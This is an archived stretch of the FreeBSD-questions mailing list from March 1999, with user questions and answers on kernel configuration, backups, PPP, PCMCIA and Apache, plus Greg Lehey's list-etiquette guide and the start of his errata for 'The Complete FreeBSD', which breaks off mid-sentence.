>    though this is claimed to work in the docs.
> 
> Fix: The change information is being written out, in fact, but to the
>      wrong location.  move /kernel.config to /boot/kernel.conf (if it
>      exists, otherwise there were no changes to save) and add the
>      following lines to /boot/loader.rc:
> 
>         load /kernel
>         load -t userconfig_script /boot/kernel.conf
>         autoboot 5
> 
>      This will cause the kernel change information to be read in and
>      used properly (and you just learned a little about the new 3-stage
>      loader in the process, so the exercise wasn't a total loss).
> --- snip ---
> 
> Charles
> 
> 
> -----Original Message-----
> From: Bruce Grisham [mailto:bruce@accumatics.com]
> Sent: Friday, March 26, 1999 9:45 AM
> To: freebsd-questions@FreeBSD.ORG
> Subject: In 3.1, can't seem to save device list after boot -cv
> 
> 
> After configuring devices I ask to save, but at next boot all devices are
> probed.
> 
> What am I missing?
> 
> Thanks in advance,
> 
> Bruce Grisham
> The AccuMatics Group
> http://www.accumatics.com/
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> > 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
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Dave Walton                                                           
Webmaster, Postmaster                                           Emusic
walton@emusic.com                                http://www.emusic.com
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From owner-freebsd-questions  Fri Mar 26 13:16:22 1999
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Subject: RE: In 3.1, can't seem to save device list after boot -cv
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I just ran into a variation of this problem.  I followed the instructions 
in ERRATA.TXT, and that worked fine.  Later I did boot -c again and 
changed the settings.  The new settings weren't saved in either 
/kernel.config or /boot/kernel.conf.  What gives?

Dave


On 26 Mar 99, at 9:51, Charles Randall wrote:

> See the ERRATA.TXT file,
> 
> ftp://ftp.freebsd.org/pub/FreeBSD/3.1-RELEASE/ERRATA.TXT
> 
> --- snip ---
> o  Kernel change information is not saved in the new kernel, even
>    though this is claimed to work in the docs.
> 
> Fix: The change information is being written out, in fact, but to the
>      wrong location.  move /kernel.config to /boot/kernel.conf (if it
>      exists, otherwise there were no changes to save) and add the
>      following lines to /boot/loader.rc:
> 
>         load /kernel
>         load -t userconfig_script /boot/kernel.conf
>         autoboot 5
> 
>      This will cause the kernel change information to be read in and
>      used properly (and you just learned a little about the new 3-stage
>      loader in the process, so the exercise wasn't a total loss).
> --- snip ---


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Dave Walton                                                           
Webmaster, Postmaster                                           Emusic
walton@emusic.com                                http://www.emusic.com
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From owner-freebsd-questions  Fri Mar 26 13:18:20 1999
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Date: Fri, 26 Mar 1999 14:17:47 -0700 (MST)
From: Adam Ulmer <ulmer@ulmer.iserver.net>
To: freebsd-questions@freebsd.org
Subject: AHA-1520a and 3.1-RELEASE: will they work?
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I saw a couple questions, recently, about whether or not freebsd 3.1 could
be installed/used while using the AHA-1520a SCSI adapter.  I never saw any
answers and I would like to voice the same question as I am about to try
it.  Any time (and hair pulling) someone can save me would much
appreciated. 

TIA

Adam




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From owner-freebsd-questions  Fri Mar 26 13:24:52 1999
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Is there any RT support in FBSD ?


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From owner-freebsd-questions  Fri Mar 26 13:27:39 1999
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Date: Fri, 26 Mar 1999 13:27:17 -0800
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Subject: Re: Need help fine-tuning a web server (fwd)
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In-reply-to: <19990326081926.A1101@ns.wolf.com>
References: <Pine.OSF.4.02.9903260846190.22203-100000@fly.HiWAAY.net>; from Steve Price on Fri, Mar 26, 1999 at 08:51:38AM -0600
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On 26 Mar 99, at 8:19, dan@wolf.com wrote:

> The Apache pages at http://www.apache.org have some good useful info
> on tuning Apache.  A search of the archives at http://www.freebsd.org
> will reveal a little bit of info on performance tuning, but not a
> lot.  What I've done is compile a kernel with maxusers set to 64, and 
> including "options CHILD_MAX=256" and "options OPEN_MAX=256" (this 
> mihgt be somewhat misguided, but that's how I learn - by experimenting 
> and shooting myself in the foot).

I noticed that CHILD_MAX and OPEN_MAX are no longer in LINT in 
3.1.  Are they obsolete, or just undocumented for some reason?

Dave


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Dave Walton                                                           
Webmaster, Postmaster                                           Emusic
walton@emusic.com                                http://www.emusic.com
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From owner-freebsd-questions  Fri Mar 26 13:30:51 1999
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Date: Fri, 26 Mar 1999 18:29:57 +0000
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which identd daemon works well under FreeBSD ?
Is there any special implementation, concernning about security and
speed ?

-- 
Real computer scientists don't write code.  They occasionally tinker
with rogramming systems', but those are so high level that they
hardly count (and rarely count accurately; precision is for
applications.)


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From owner-freebsd-questions  Fri Mar 26 14: 8:26 1999
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Date: Sat, 27 Mar 1999 07:31:48 +1000
From: Greg Black <gjb@comkey.com.au>
To: Peter Hawkins <peter@clari.net.au>
Cc: questions@FreeBSD.ORG
Subject: Re: NFS or AFS or ??? 
References: <Pine.BSF.4.10.9903261328430.94934-100000@enya.clari.net.au> 
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> FreeBSD's NFS is not very stable [...]

Could you elaborate on that?

-- 
Greg Black <gjb@acm.org>



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From owner-freebsd-questions  Fri Mar 26 14: 8:30 1999
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Date: Sat, 27 Mar 1999 07:30:05 +1000
From: Greg Black <gjb@comkey.com.au>
To: Evgeny Roubinchtein <eroubinc@u.washington.edu>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: "dump" of a "live" file system? 
References: <Pine.A41.4.10.9903252056090.24046-100000@dante30.u.washington.edu> 
In-reply-to: <Pine.A41.4.10.9903252056090.24046-100000@dante30.u.washington.edu> 
    of Thu, 25 Mar 1999 21:10:42 PST
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I know this has been answered quite well, but I think there's
room for further thoughts on the topic.

> Is it possible to "dump" a "live" file system?  (i.e. dump a file system
> when the machine is in multi-user mode, with the filesystem that is being
> dumped mounted read-write). Is it safe/recommended?

Strictly speaking, it's not recommended -- but it is done on
millions of systems every day, with very few problems.  I've
been doing it ever since I got my first system that had dump and
I've yet to experience a problem.  I do follow certain rules to
make it safer -- see below.

> It seems like this wouldn't be a great idea, since on a "live" file system
> mounted read-write there may be pending writes, and it isn't clear how
> dump would cope with that.  Is it better/ok/safe to first remount the
> filesystem read-only?

No, this is not going to be a smart move.  There are too many
things that can break if you try this on a running system.  If
you want to be certain, then you have to shutdown and run the
dump in single user mode -- this can be automated simply enough
from cron and using rc scripts to handle things.  However, most
systems have so little need for their backups that the potential
inconvenience of such a shutdown is not worth it.

As a rule of thumb, this is what I do. 

* Create level 0 dumps of the entire system when it's installed
  and put those tapes aside.

* Run all backups as incrementals at various levels after that
  (meaning that they are completed in a few minutes on most
  machines).

* Schedule the backups at the quietest time of day (which varies
  from system to system, but is often between 0200 and 0400).

* Never schedule the backups (or anything else run by cron)
  during the window for daylight time changes in those primitive
  places that use daylight time.

* Ensure that no other cron jobs run at the same time as the
  backups.

* Where feasible, disallow logins during the backups; have
  /etc/nologin contain a message that a backup is in progress
  and should be finished at a certain time.  If this is not
  feasible, have a message presented to users logging in that
  the backup is in progress and that files that are altered
  during this time may not be backed up correctly.  Whether new
  logins are permitted or not, warn all currently logged-in
  users that the backup is in progress (as above).

* When the next OS release arrives, avoid the upgrade option,
  since nobody has ever got these right; go single user and do
  new level 0 dumps of all the user and config stuff (which is
  kept on different partitions from the OS stuff); install the
  new OS; restore the dumps; repeat step 1.

There are parts of this that will strike some people as quite
unsuitable to their situation and it's certainly not a complete
recipe for success in all cases.  However, it should give you
something to think about and to work from.  It's served me well
for many years on a diverse set of systems.

-- 
Greg Black <gjb@acm.org>



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From owner-freebsd-questions  Fri Mar 26 14: 8:30 1999
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Date: Sat, 27 Mar 1999 06:27:25 +1000
From: Greg Black <gjb@comkey.com.au>
To: The Classiest Man Alive <ksmm@threespace.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Windows vs. FreeBSD: Changing Times 
References: <Version.32.19990326112256.00f454a0@mail.cybercom.net> <Version.32.19990326112256.00f454a0@mail.cybercom.net> 
In-reply-to: <Version.32.19990326112256.00f454a0@mail.cybercom.net> <Version.32.19990326112256.00f454a0@mail.cybercom.net> 
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> For those of you who don't know, Windows will automatically
> change your CMOS clock to reflect the correct time after the time change.
> Or you can do it manually.  Either way, that clock needs to be set to the
> correct local time in order for the Windows system time to be reflected
> correctly.

Yet another reason not to use Windoze.

> Unfortunately, FreeBSD seems to do an intelligent translation that
> automatically adds one hour to the CMOS time during the Daylight Time
> period.  This is all good, except that when Windows sets the clock ahead
> one hour and then FreeBSD adds one hour in software...well, you see where
> this is going.  Somebody (Windows or FreeBSD) is going to have the wrong time.

Well, Windoze is *always* going to have the wrong time.  The
*right* time is UTC and local time is derived from that.

> Is there a simple way around this problem?  Can I tell FreeBSD that even
> though we're in Daylight Time that it should take the CMOS clock as the
> current local time?

Well, since you are asked at FreeBSD install time whether you
set your CMOS clock to wall clock time or to UTC, that's a clue.
Read the man page for adjkerntz to see how FreeBSD handles the
CMOS clock when it's set to local time.  (I have no idea if it
works, since I've never been guilty of running a Microsoft OS on
my computers and always run my CMOS clock on UTC.)

-- 
Greg Black <gjb@acm.org>



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From owner-freebsd-questions  Fri Mar 26 14:13:41 1999
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From: "John McNamee" <jpm@igcinc.com>
Organization: IGC
To: freebsd-questions@freebsd.org
Date: Fri, 26 Mar 1999 16:12:41 -0600
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: Save Apache logs into user home directories
Sender: owner-freebsd-questions@FreeBSD.ORG
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I'm running Apache 1.3.3 (soon to be 1.3.6) on FreeBSD 2.2.8-STABLE.  I've got
a main web site and a few virtual hosts, with more virtual hosts expected. 
I've got separate access and error logs for the main site and for each virtual
host.  Right now the logs are kept in a directory only writable by root
(/var/log/www), and the files are owned by root.

I want to set up daily log rotation with the output going into a file under a
user home directory (e.g. /home/foobar/logs/1999-03-26.log).  I understand
there are some security problems with this, but I'm not fully up to speed on
the details.  I know that some of the large web hosting companies do their logs
this way, so I assume there must be a secure way to handle it.  Can anybody
point me in the right direction?

--John


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From owner-freebsd-questions  Fri Mar 26 14:13:47 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Fri, 26 Mar 1999 16:13:13 -0600
From: Guy Helmer <ghelmer@scl.ameslab.gov>
To: Adam Ulmer <ulmer@ulmer.iserver.net>
Cc: freebsd-questions@freebsd.org
Subject: Re: AHA-1520a and 3.1-RELEASE: will they work?
In-Reply-To: <Pine.BSI.3.95.990326141201.17333B-100000@ulmer.iserver.net>
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On Fri, 26 Mar 1999, Adam Ulmer wrote:

> I saw a couple questions, recently, about whether or not freebsd 3.1 could
> be installed/used while using the AHA-1520a SCSI adapter.  I never saw any
> answers and I would like to voice the same question as I am about to try
> it.  Any time (and hair pulling) someone can save me would much
> appreciated. 

No, the aic SCSI driver does not work in FreeBSD 3.

Guy

Guy Helmer, Ph.D. Candidate, Iowa State University Dept. of Computer Science 
Research Assistant, Ames Laboratory       ---         ghelmer@scl.ameslab.gov
Research Assistant, Dept. of Computer Science   ---   ghelmer@cs.iastate.edu
http://www.cs.iastate.edu/~ghelmer



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From owner-freebsd-questions  Fri Mar 26 14:30:23 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38])
	by hub.freebsd.org (Postfix) with ESMTP id 3B9EF151C7
	for <questions@freebsd.org>; Fri, 26 Mar 1999 14:30:21 -0800 (PST)
	(envelope-from julian@whistle.com)
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Date: Fri, 26 Mar 1999 14:26:21 -0800 (PST)
From: Julian Elischer <julian@whistle.com>
To: questions@freebsd.org
Subject: mxv on freebsd with snd driver?
Message-ID: <Pine.BSF.3.95.990326142228.2622I-100000@current1.whistle.com>
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has anyone managed to get mxv running on 2.2.8 with the luigi snd driver
and an pnp SB16?

It keeps telling me "this sample format not supported by hardware" when I
try record, no matter what format I select.


julian





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From owner-freebsd-questions  Fri Mar 26 14:53:51 1999
Delivered-To: freebsd-questions@freebsd.org
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	Sat, 27 Mar 1999 08:53:11 +1000 (EST)
Date: Sat, 27 Mar 1999 08:53:46 +1000 (EST)
From: Steven Harris <steve@freebsdrocks.com>
X-Sender: steve@bart.zarvon.com
To: Mike Smith <mike@smith.net.au>
Cc: Steven Harris <steve@freebsdrocks.com>,
	freebsd-questions@FreeBSD.ORG, freebsd-mobile@FreeBSD.ORG
Subject: Re: Help needed with PCMCIA 3CCFEM556B card 
In-Reply-To: <199903262007.MAA00944@dingo.cdrom.com>
Message-ID: <Pine.BSF.4.05.9903270847100.23508-100000@bart.zarvon.com>
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Hi,

Thanks - I removed a few lines in /etc/rc.pccard and the driver only loads
once now.  However, I am still having a few problems.  This is the
relevant section of my /etc/pccard.comf:

card "3Com" "Megahertz 3CCFEM556BI"
    config 0x1 "sio2" 10
    insert echo ....
    remove echo ....

1. When pccardd is run, it initialises and says "sio2: type 8250" but if I do
a "cu -l /dev/cuaa2" it hangs my system completely.

2. When it initialises the PC-Card drivers (see below) there is no mention at
all of the network driver.  Do I need to compile on the zp0 driver into the
kernel and add the CONFIGURATION_LINT option so as to allow it ?

3. Should i be using IRQ 3 for the sio port - should I set it to sio1 instead
of sio2, since sio1 doesnt exist on this system either?


Thanks for all of your help - I appreciate it greatly.

I will write a guide and put it up on FreeBSDRocks once everything is working,
so that It may help other people in the same situation!

Steve


On Fri, 26 Mar 1999, Mike Smith wrote:

> > PC-Card Intel 82365 (5 mem & 2 I/O windows)
> > pcic: controller irq 3
> > Initializing PC-card drivers: sio
> > Card inserted, slot 0
> 
> You seem to still have the pcic kld being loaded by /etc/rc.pccard - 
> remove that and try again.
> 
> -- 
> \\  Sometimes you're ahead,       \\  Mike Smith
> \\  sometimes you're behind.      \\  mike@smith.net.au
> \\  The race is long, and in the  \\  msmith@freebsd.org
> \\  end it's only with yourself.  \\  msmith@cdrom.com
> 
> 
> 



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From owner-freebsd-questions  Fri Mar 26 14:56:21 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from lincc.lincc.lib.or.us (lincc.lincc.lib.or.us [198.245.131.10])
	by hub.freebsd.org (Postfix) with ESMTP id 0C2F3154C6
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	(envelope-from george@lincc.lib.or.us)
Date: Fri, 26 Mar 1999 14:55:54 -0800 (PST)
From: George Yobst <george@lincc.lib.or.us>
To: questions@freebsd.org
Cc: George Yobst <george@lincc.lib.or.us>
Subject: Kernel pppd
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Hi all,

I'd like to hang 2 modems off my FBSD box (that's already on the net
& running 3.1-Release) so that I can dial-up to it from home (W95).
I tried to configure pppd and looked at the Pedantic PPP docs, but
it seems written for dial-out.  It looks like it's dialing up, the
modem answers so I get a connection, but then it won't go further.

Right now, the log messages are:
Mar 26 14:43:48 lincc pppd[1180]: Connect: ppp0 <--> /dev/ttyd0
Mar 26 14:44:18 lincc pppd[1180]: LCP: timeout sending Config-Requests
Mar 26 14:44:18 lincc pppd[1180]: Connection terminated, connected for 1
minutes
Mar 26 14:44:19 lincc pppd[1181]: pppd 2.3.5 started by root, uid 0

I've changed so many parameters, that I'm just chasing my tail.
Does anybody have multiple modems on their machine doing 'kernel
ppp' care to share their configs in /etc/ppp - also pertinent parts
of /etc/passwd & ttys would be greatly appreciated.  Anything special
on the W95 sw need to change?

Thanks! -George
---------------------------------------------------------------------
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From owner-freebsd-questions  Fri Mar 26 15:33:10 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Fri, 26 Mar 1999 18:32:45 -0500
From: Glen Mann <gmann@cyberia.com>
Organization: Phrantic Physics
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To: FreeBSD Questions <questions@FreeBSD.ORG>
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Hello-

I like bash, and so use it for all my accounts, including root.  In the root
home directory (/root) the .bash_history file has permissions such that anyone
can read it, for instance to get mysql admin passwords, etc.  Wow - glad it's
only me on this system!  Should I be so surprised at this?  Shouldn't the file
be defaulted by bash to readable only by the owner?  

Thanks
-Glen


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From owner-freebsd-questions  Fri Mar 26 16:15:26 1999
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Date: Fri, 26 Mar 1999 16:12:10 -0800
To: freebsd-questions@freebsd.org
From: "Bart (The Good Guy) Trzynadlowski" <trzy@powernet.net>
Subject: need help with partitioning
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Hi,
	I was trying to install FreeBSD but when I got the the partitioning part I
could not make the partition because it was displaying the wrong hard disk.
	I believe it was showing wd0 or (it said something like that at the
top-left). But I need to make a slice on my second harddrive (wd1?) but how
do I select that drive? 

Is the mouse supposed to work anytime during the installation? Mine isnt
and under the kernel configurator there are 13 conflicts... What should i do?

Thanks,

Bart Trzynadlowski



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From owner-freebsd-questions  Fri Mar 26 16:23:11 1999
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	by hub.freebsd.org (Postfix) with ESMTP id DABC715167
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	(envelope-from kmarx@bigshed.com)
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	for <freebsd-questions@FreeBSD.ORG>; Fri, 26 Mar 1999 16:22:45 -0800 (PST)
Message-ID: <36FC2864.8E45E19@bigshed.com>
Date: Fri, 26 Mar 1999 16:37:56 -0800
From: Ken Marx <kmarx@bigshed.com>
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To: "freebsd-questions@FreeBSD.ORG" <freebsd-questions@FreeBSD.ORG>
Subject: timidity-0.2i on 2.2.8?
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Hi,

Has anyone got timidity working on a 2.2.8 setup?

If I try to build 0.2i from source in /usr/ports/audio/timity
it claims to be broken => fetch.

I downloaded the binaries from www.freebsd.org/ports/audio.html
but the binary complains that:

ELF interpreter /usr/libexec/ld-elf.so.1 not found
Abort trap

This looks suspiciously like it's for 3.x fbsd. Esp. since the
binary is branded as:

bin/timidity: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD),
dynamically linked, stripped

Any ideas? Thanks!

k.
-- 
Ken Marx, kmarx@bigshed.com
OK. The dust has not settled but we should analyze the big picture and continue 
to satisfy the expanding demands of our development path.
		- http://cgi.bigshed.com/~kmarx/cgi-bin/speak.cgi


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From owner-freebsd-questions  Fri Mar 26 17: 2:13 1999
Delivered-To: freebsd-questions@freebsd.org
Received: by hub.freebsd.org (Postfix, from userid 645)
	id 6B3E614DB9; Fri, 26 Mar 1999 17:02:12 -0800 (PST)
To: FreeBSD-questions@FreeBSD.org
Subject: How to get best results from FreeBSD-questions
Message-Id: <19990327010212.6B3E614DB9@hub.freebsd.org>
Date: Fri, 26 Mar 1999 17:02:12 -0800 (PST)
From: grog@FreeBSD.ORG (Greg Lehey)
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How to get the best results from FreeBSD questions.
===================================================

Last update 23 February 1998

This is a regular posting to the FreeBSD questions mailing list.  If
you got it in answer to a message you sent, it means that the sender
thinks that at least one of the following things was wrong with your
message:

- You left out a subject line, or the subject line was not appropriate.
- You formatted it in such a way that it was difficult to read.
- You asked more than one unrelated question in one message.
- You sent out a message with an incorrect date, time or time zone.
- You sent out the same message more than once.
- You sent an 'unsubscribe' message to FreeBSD-questions.

If you have done any of these things, there is a good chance that you
will get more than one copy of this message from different people.
Read on, and your next message will be more successful.

This document is also available on the web at
http://www.lemis.com/questions.html.

=====================================================================

Contents:

I:    Introduction
II:   How to unsubscribe from FreeBSD-questions
III:  Should I ask -questions or -hackers?
IV:   How to submit a question to FreeBSD-questions
V:    How to answer a question to FreeBSD-questions

I: Introduction
===============

This is a regular posting aimed to help both those seeking advice from
FreeBSD-questions (the "newcomers"), and also those who answer the
questions (the "hackers").

       Note that the term "hacker" has nothing to do with break- ing
       into other people's computers.  The correct term for the latter
       activity is "cracker", but the popular press hasn't found out
       yet.  The FreeBSD hackers disapprove strongly of cracking
       security, and have nothing to do with it.

In the past, there has been some friction which stems from the
different viewpoints of the two groups.  The newcomers accused the
hackers of being arrogant, stuck-up, and unhelpful, while the hackers
accused the newcomers of being stupid, unable to read plain English,
and expecting everything to be handed to them on a silver platter.  Of
course, there's an element of truth in both these claims, but for the
most part these viewpoints come from a sense of frustration.

In this document, I'd like to do something to relieve this frustration
and help everybody get better results from FreeBSD-questions.  In the
following section, I recommend how to submit a question; after that,
we'll look at how to answer one.

II:  How to unsubscribe from FreeBSD-questions
==============================================

When you subscribed to FreeBSD-questions, you got a welcome message
from Majordomo@FreeBSD.ORG.  In this message, amongst other things, it
told you how to unsubscribe.  Here's a typical message:

  Welcome to the freebsd-questions mailing list!
  
  If you ever want to remove yourself from this mailing list,
  you can send mail to "Majordomo@FreeBSD.ORG" with the following command
  in the body of your email message:
  
      unsubscribe freebsd-questions Greg Lehey <grog@lemis.de>
  
  Here's the general information for the list you've
  subscribed to, in case you don't already have it:
  
  FREEBSD-QUESTIONS               User questions
  This is the mailing list for questions about FreeBSD.  You should not
  send "how to" questions to the technical lists unless you consider the
  question to be pretty technical.

Normally, unsubscribing is even simpler than the message suggests: you
don't need to specify your mail ID unless it is different from the one
which you specified when you subscribed.

If Majordomo replies and tells you (incorrectly) that you're not on
the list, this may mean one of two things:

  1.  You have changed your mail ID since you subscribed. That's where
      keeping the original message from majordomo comes in handy. For
      example, the sample message above shows my mail ID as
      grog@lemis.de. Since then, I have changed it to
      grog@lemis.com. If I were to try to remove grog@lemis.com from
      the list, it would fail: I would have to specify the name with
      which I joined.

  2.  You're subscribed to a mailing list which is subscribed to
      FreeBSD-questions. If that's the case, you'll have to figure out
      which one it is and get your name taken off that one. If you're
      not sure which one it might be, check the headers of the
      messages you receive from freebsd-questions: maybe there's a
      clue there.

If you've done all this, and you still can't figure out what's going
on, send a message to Postmaster@FreeBSD.org, and he will sort things
out for you. Don't send a message to FreeBSD-questions: they can't
help you.

III: Should I ask -questions or -hackers?
=========================================

Two mailing lists handle general questions about FreeBSD,
FreeBSD-questions and FreeBSD-hackers. In some cases, it's not really
clear which group you should ask. The following criteria should help
for 99% of all questions, however:

     If the question is of a general nature, ask
     FreeBSD-questions. Examples might be questions about intstalling
     FreeBSD or the use of a particular UNIX utility.

     If you think the question relates to a bug, but you're not sure,
     or you don't know how to look for it, send the message to
     FreeBSD-questions.

     If the question relates to a bug, and you're sure that it's a bug
     (for example, you can pinpoint the place in the code where it
     happens, and you maybe have a fix), then send the message to
     FreeBSD-hackers.

     If the question relates to enhancements to FreeBSD, and you can
     make suggestions about how to implement them, then send the
     message to FreeBSD-hackers.

There are also a number of other specialized mailing lists, for
example FreeBSD-isp, which caters to the interests of ISPs (Internet
Service Providers) who run FreeBSD. If you happen to be an ISP, this
doesn't mean you should automatically send your questions to
FreeBSD-isp. The criteria above still apply, and it's in your interest
to stick to them, since you're more likely to get good results that
way.

IV:  How to submit a question
=============================

When submitting a question to FreeBSD-questions, consider the
following points:

  1.  Remember that nobody gets paid for answering a FreeBSD
      question. They do it of their own free will.  You can influence
      this free will positively by submitting a well-formulated
      question supplying as much relevant information as possible. You
      can influence this free will negatively by submitting an
      incomplete, illegible, or rude question. It's perfectly possible
      to send a message to FreeBSD-questions and not get an answer
      even if you follow these rules. It's much more possible to not
      get an answer if you don't. In the rest of this document, we'll
      look at how to get the most out of your question to
      FreeBSD-questions.

  2.  Not everybody who answers FreeBSD questions reads every message:
      they look at the subject line and decide whether it interests
      them. Clearly, it's in your interest to specify a
      subject. ``FreeBSD problem'' or ``Help'' aren't enough. If you
      provide no subject at all, many people won't bother reading
      it. If your subject isn't specific enough, the people who can
      answer it may not read it.

  3.  Format your message so that it is legible, and PLEASE DON'T
      SHOUT!!!!!. We appreciate that a lot of people don't speak
      English as their first language, and we try to make allowances
      for that, but it's really painful to try to read a message
      written full of typos or without any line breaks. A lot of badly
      formatted messages come from bad mailers or badly configured
      mailers. The following mailers are known to send out badly
      formatted messages without you finding out about them:

      Eudora 
      exmh 
      Microsoft Exchange 
      Microsoft Internet Mail 
      Microsoft Outlook 
      Netscape 

      As you can see, the mailers in the Microsoft world are frequent
      offenders. If at all possible, use a UNIX mailer. If you must
      use a mailer under Microsoft environments, make sure it is set
      up correctly. Try not to use MIME: a lot of people use mailers
      which don't get on very well with MIME.

      For further information on this subject, check
      http://www.lemis.com/email.html.

  4.  Make sure your time and time zone are set correctly. This may
      seem a little silly, since your message still gets there, but
      many of the people you are trying to reach get several hundred
      messages a day. They frequently sort the incoming messages by
      subject and by date, and if your message doesn't come before the
      first answer, they may assume they missed it and not bother to
      look.

  5.  Don't include unrelated questions in the same message. Firstly,
      a long message tends to scare people off, and secondly, it's
      more difficult to get all the people who can answer all the
      questions to read the message.

  6.  Specify as much information as possible. This is a difficult
      area, and we need to expand on what information you need to
      submit, but here's a start:

         If you get error messages, don't say ``I get error
         messages'', say (for example) ``I get the error message 'No
         route to host'''.

         If your system panics, don't say ``My system panicked'', say
         (for example) ``my system panicked with the message 'free
         vnode isn't'''.

         If you have difficulty installing FreeBSD, please tell us
         what hardware you have. In particular, it's important to know
         the IRQs and I/O addresses of the boards installed in your
         machine.

         If you have difficulty getting PPP to run, describe the
         configuration. Which version of PPP do you use? What kind of
         authentication do you have? Do you have a static or dynamic
         IP address? What kind of messages do you get in the log file?

  7.  If you do all this, and you still don't get an answer, there
     could be other reasons. For example, the problem is so
     complicated that nobody knows the answer, or the person who does
     know the answer was offline. If you don't get an answer after,
     say, a week, it might help to re-send the message. If you don't
     get an answer to your second message, though, you're probably not
     going to get one from this forum.  Resending the same message
     again and again will only make you unpopular.

To summarize, let's assume you know the answer to the following
question (yes, it's the same one in each case :-). You choose which of
these two questions you would be more prepared to answer:


Message 1:
Subject: (none)

I just can't get hits damn silly FereBSD system to workd, and Im really good at this tsuff, but I have never seen anythign sho difficult to install, it jst wont work whatever I try so why don't y9ou guys tell me what I doing wrong.

----------------------------------------------------------------------

Message 2:
Subject: Problems installing FreeBSD

I've just got the FreeBSD 2.1.5 CD-ROM from Walnut Creek, and I'm
having a lot of difficulty installing it.  I have a 66 MHz 486 with 16
MB of memory and an Adaptec 1540A SCSI board, a 1.2GB Quantum Fireball
disk and a Toshiba 3501XA CD-ROM drive.  The installation works just
fine, but when I try to reboot the system, I get the message "Missing
Operating System".

----------------------------------------------------------------------


V: How to answer a question
===========================

Before you answer a question to FreeBSD-questions, consider:

1.  A lot of the points on submitting questions also apply to
    answering questions.  Read them.

2.  Has somebody already answered the question?  The easiest way to
    check this is to sort your incoming mail by subject: then
    (hopefully) you'll see the question followed by any answers, all
    together.

    If somebody has already answered it, it doesn't automatically mean
    that you shouldn't send another answer.  But it makes sense to
    read all the other answers first.

3.  Do you have something to contribute beyond what has already been
    said?  In general, "Yeah, me too" answers don't help much,
    although there are exceptions, like when somebody is describing a
    problem he's having, and he doesn't know whether it's his fault or
    whether there's something wrong with the hardware or software.  If
    you do send a "me too" answer, you should also include any further
    relevant information.

4.  Are you sure your answer is correct?  If not, wait a day or so.
    If nobody else comes up with a better answer, you can still reply
    and say, for example, "I don't know if this is correct, but since
    nobody else has replied, why don't you try replacing your ATAPI
    CD-ROM with a frog?".

5.  Don't do a group reply; lots of people send messages with hundreds
    of CCs.  Unless there's a good reason to do otherwise, just reply
    to the person and copy FreeBSD-questions.

6.  Trim the original message to the minimum, and use some technique
    to identify which text came from the original message, and which
    text you add.  I personally find that prepending "> " to the
    original message works best.  Leaving white space after the ">"
    and leave empty lines between your text and the original text both
    make the result more readable.

    Most mailers change the subject line on a reply by prepending a
    text such as "Re: ".  If your mailer doesn't do it automatically,
    you should do it manually.

    If the submitter didn't abide by format conventions (lines too
    long, inappropriate subject line), *please* fix it.  In the case
    of an incorrect subject line (such as "HELP!!??"), change the
    subject line to (say) "Re: Difficulties with sync PPP (was:
    HELP!!??)".  That way other people trying to follow the thread
    will have less difficulty following it.

    In such cases, it's appropriate to say what you did and why you
    did it, but try not to be rude.  If you find you can't answer
    without being rude, don't answer.

    If you just want to reply to a message because of its bad format,
    just reply to the submitter, not to the list.  You can just send
    him this message in reply, if you like.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-questions" in the body of the message


From owner-freebsd-questions  Fri Mar 26 17: 2:14 1999
Delivered-To: freebsd-questions@freebsd.org
Received: by hub.freebsd.org (Postfix, from userid 645)
	id BF44414DD0; Fri, 26 Mar 1999 17:02:12 -0800 (PST)
To: FreeBSD-questions@FreeBSD.org
Subject: "The Complete FreeBSD", second edition: errata and addenda
Message-Id: <19990327010212.BF44414DD0@hub.freebsd.org>
Date: Fri, 26 Mar 1999 17:02:12 -0800 (PST)
From: grog@FreeBSD.ORG (Greg Lehey)
Sender: owner-freebsd-questions@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG









          Errata and addenda for the Complete FreeBSD, second edition




                        Last revision: 25 February 1999

The trouble with books is that you can't update them the way you can a web page
or any other online documentation.   The  result  is  that  most  leading  edge
computer  books are out of date almost before they are printed.  Unfortunately,
``The Complete FreeBSD'', published by Walnut  Creek,  is  no  exception.   In-
evitably, a number of bugs and changes have surfaced.

The  following  is  a list of modifications which go beyond simple typos.  They
relate to the second edition, formatted on 16 December 1997.  If you have  this
book,  please  check this list.  If you have the first edition of 19 July 1996,
please check ftp://ftp.lemis.com/pub/cfbsd/errata-1. This  same  file  is  also
available via the web link http://www.lemis.com/.

This list is available in four forms:

o A     PostScript     version,     suitable     for     printing    out,    at
  ftp://ftp.lemis.com/pub/cfbsd/errata-2.ps. See page 222 of the book  to  find
  out  how  to  print  out  PostScript.   If  at all possible, please take this
  document: it's closest to the original text.

  Be careful selecting this file with a web browser: it is often impossible  to
  reload the document, and you may see a previously cached version.

o An enhanced ASCII version at ftp://ftp.lemis.com/pub/cfbsd/errata-2.txt. When
  viewed with more or less,  this  version  will  show  some  highlighting  and
  underlining.  It's not suitable for direct viewing.

o An  ASCII-only  version at ftp://ftp.lemis.com/pub/cfbsd/errata-2.ascii. This
  version is posted every week to the  FreeBSD-questions  mailing  list.   Only
  take  this version if you have real problems with PostScript: I can't be sure
  that the lack of different fonts won't confuse the meaning.

o A web version at http://www.lemis.com/errata-2.html.

All these modifications have been applied to the ongoing  source  text  of  the
book, so if you buy a later edition, they will be in it as well.  If you find a

                                                                         Page 1






The Complete FreeBSD


bug or a suspected bug in the book, please contact me at <grog@FreeBSD.org.>

General changes
_______________


o In a number of places, I suggest the use of the  following  command  to  find
  process information:

  $ ps aux | grep foo

  Unfortunately,  ps  is sensitive to the column width of the terminal emulator
  upon which it is working.  This command usually works fine  on  a  relatively
  wide  xterm,  but if you're running on an 80-column terminal, it may truncate
  exactly the information you're looking for, so you end  up  with  no  output.
  You can fix that with the w option:

  $ ps waux | grep foo

  Thanks to Sue Blake <sue@welearn.com.au> for this information


Location of the sample files
____________________________

On  the  2.2.5 CD-ROM only, the location of the sample files does not match the
